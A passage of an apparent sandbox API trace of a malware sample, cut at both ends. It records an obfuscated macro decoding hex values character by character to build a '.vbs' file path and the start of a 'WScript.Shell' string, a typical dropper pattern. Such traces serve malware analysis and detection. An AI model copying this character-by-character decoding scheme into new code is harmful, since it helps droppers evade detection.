dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="D") returned 1 [0071.873] VarBstrCat (in: bstrLeft="\\TzTEirjljCPNCsr", bstrRight="D", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.873] VarBstrCat (in: bstrLeft="&H", bstrRight="C4", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.873] VarParseNumFromStr (in: strIn="&HC4", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.874] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f08, cchWideChar=1 | out: lpWideCharStr="Ä") returned 1 [0071.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ä", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ä£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="b") returned 1 [0071.874] VarBstrCat (in: bstrLeft="\\TzTEirjljCPNCsrD", bstrRight="b", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.874] VarBstrCat (in: bstrLeft="&H", bstrRight="D8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.874] VarParseNumFromStr (in: strIn="&HD8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.874] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f68, cchWideChar=1 | out: lpWideCharStr="Ø") returned 1 [0071.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ø", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ø£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f08, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0071.874] VarBstrCat (in: bstrLeft="\\TzTEirjljCPNCsrDb", bstrRight="l", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.874] VarBstrCat (in: bstrLeft="&H", bstrRight="EC", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.874] VarParseNumFromStr (in: strIn="&HEC", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.874] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.875] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="ì") returned 1 [0071.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ì", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="죵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.875] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f68, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0071.875] VarBstrCat (in: bstrLeft="\\TzTEirjljCPNCsrDbl", bstrRight="v", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.875] VarBstrCat (in: bstrLeft="&H", bstrRight="EE", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.875] VarParseNumFromStr (in: strIn="&HEE", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.875] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.875] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="î") returned 1 [0071.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="î", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.875] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0071.875] VarBstrCat (in: bstrLeft="\\TzTEirjljCPNCsrDblv", bstrRight="w", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.875] VarBstrCat (in: bstrLeft="&H", bstrRight="86", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.875] VarParseNumFromStr (in: strIn="&H86", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.875] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f08, cchWideChar=1 | out: lpWideCharStr="†") returned 1 [0071.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="†", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x86£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="C") returned 1 [0071.876] VarBstrCat (in: bstrLeft="\\TzTEirjljCPNCsrDblvw", bstrRight="C", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.876] VarBstrCat (in: bstrLeft="&H", bstrRight="5C", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.876] VarParseNumFromStr (in: strIn="&H5C", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.876] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f68, cchWideChar=1 | out: lpWideCharStr="\\") returned 1 [0071.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f08, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0071.876] VarBstrCat (in: bstrLeft="\\TzTEirjljCPNCsrDblvwC", bstrRight=".", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.876] VarBstrCat (in: bstrLeft="&H", bstrRight="EC", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.876] VarParseNumFromStr (in: strIn="&HEC", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.876] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="ì") returned 1 [0071.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ì", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="죵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f68, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0071.877] VarBstrCat (in: bstrLeft="\\TzTEirjljCPNCsrDblvwC.", bstrRight="v", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.877] VarBstrCat (in: bstrLeft="&H", bstrRight="C4", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.877] VarParseNumFromStr (in: strIn="&HC4", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.877] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="Ä") returned 1 [0071.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ä", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ä£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="b") returned 1 [0071.877] VarBstrCat (in: bstrLeft="\\TzTEirjljCPNCsrDblvwC.v", bstrRight="b", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.877] VarBstrCat (in: bstrLeft="&H", bstrRight="E6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.877] VarParseNumFromStr (in: strIn="&HE6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.877] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f08, cchWideChar=1 | out: lpWideCharStr="æ") returned 1 [0071.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="æ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="棵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0071.878] VarBstrCat (in: bstrLeft="\\TzTEirjljCPNCsrDblvwC.vb", bstrRight="s", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.878] VarBstrCat (in: bstrLeft="&H", bstrRight="AE", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.878] VarParseNumFromStr (in: strIn="&HAE", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.878] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f68, cchWideChar=1 | out: lpWideCharStr="®") returned 1 [0071.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="®", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="®£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="W") returned 1 [0071.878] VarBstrCat (in: bstrLeft=0x0, bstrRight="W", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.878] VarBstrCat (in: bstrLeft="&H", bstrRight="A6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.879] VarParseNumFromStr (in: strIn="&HA6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.879] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.879] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87548, cchWideChar=1 | out: lpWideCharStr="¦") returned 1 [0071.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¦", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¦£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.879] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f68, cchWideChar=1 | out: lpWideCharStr="S") returned 1 [0071.879] VarBstrCat (in: bstrLeft="W", bstrRight="S", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.879] VarBstrCat (in: bstrLeft="&H", bstrRight="C6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.879] VarParseNumFromStr (in: strIn="&HC6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.879] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.879] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87d58, cchWideChar=1 | out: lpWideCharStr="Æ") returned 1 [0071.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Æ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Æ£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.879] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87548, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0071.879] VarBstrCat (in: bstrLeft="WS", bstrRight="c", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.879] VarBstrCat (in: bstrLeft="&H", bstrRight="E4", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.880] VarParseNumFromStr (in: strIn="&HE4", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.880] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.880] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f68, cchWideChar=1 | out: lpWideCharStr="ä") returned 1 [0071.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ä", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="䣵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.880] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87d58, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0071.880] VarBstrCat (in: bstrLeft="WSc", bstrRight="r", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.880] VarBstrCat (in: bstrLeft="&H", bstrRight="D2", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.880] VarParseNumFromStr (in: strIn="&HD2", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.880] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.880] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87548, cchWideChar=1 | out: lpWideCharStr="Ò") returned 1 [0071.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ò", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ò£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.880] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f68, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0071.880] VarBstrCat (in: bstrLeft="WScr", bstrRight="i", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.880] VarBstrCat (in: bstrLeft="&H", bstrRight="E0", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.880] VarParseNumFromStr (in: strIn="&HE0", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.881] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.881] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87d58, cchWideChar=1 | out: lpWideCharStr="à") returned 1 [0071.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="à", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ࣵ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.881] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87548, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0071.881] VarBstrCat (in: bstrLeft="WScri", bstrRight="p", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.881] VarBstrCat (in: bstrLeft="&H", bstrRight="E8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.881] VarParseNumFromStr (in: strIn="&HE8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.881] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.881] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f68, cchWideChar=1 | out: lpWideCharStr="è") returned 1 [0071.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="è", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="裵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.881] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87d58, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0071.881] VarBstrCat (in: bstrLeft="WScrip", bstrRight="t", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.881] VarBstrCat (in: bstrLeft="&H", bstrRight="5C", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.881] VarParseNumFromStr (in: strIn="&H5C", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.881] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.882] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87548, cchWideChar=1 | out: lpWideCharStr="\\") returned 1 [0071.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.882] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f68, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0071.882] VarBstrCat (in: bstrLeft="WScript", bstrRight=".", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.882] VarBstrCat (in: bstrLeft="&H", bstrRight="A6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.882] VarParseNumFromStr (in: strIn="&HA6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.882] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.882] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87d58, cchWideChar=1 | out: lpWideCharStr="¦") returned 1 [0071.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¦", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¦£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.882] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87548, cchWideChar=1 | out: lpWideCharStr="S") returned 1 [0071.882] VarBstrCat (in: bstrLeft="WScript.", bstrRight="S", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.882] VarBstrCat (in: bstrLeft="&H", bstrRight="D0", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.882] VarParseNumFromStr (in: strIn="&HD0", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.882] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f68, cchWideChar=1 | out: lpWideCharStr="Ð") returned 1 [0071.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ð", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Уµ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, 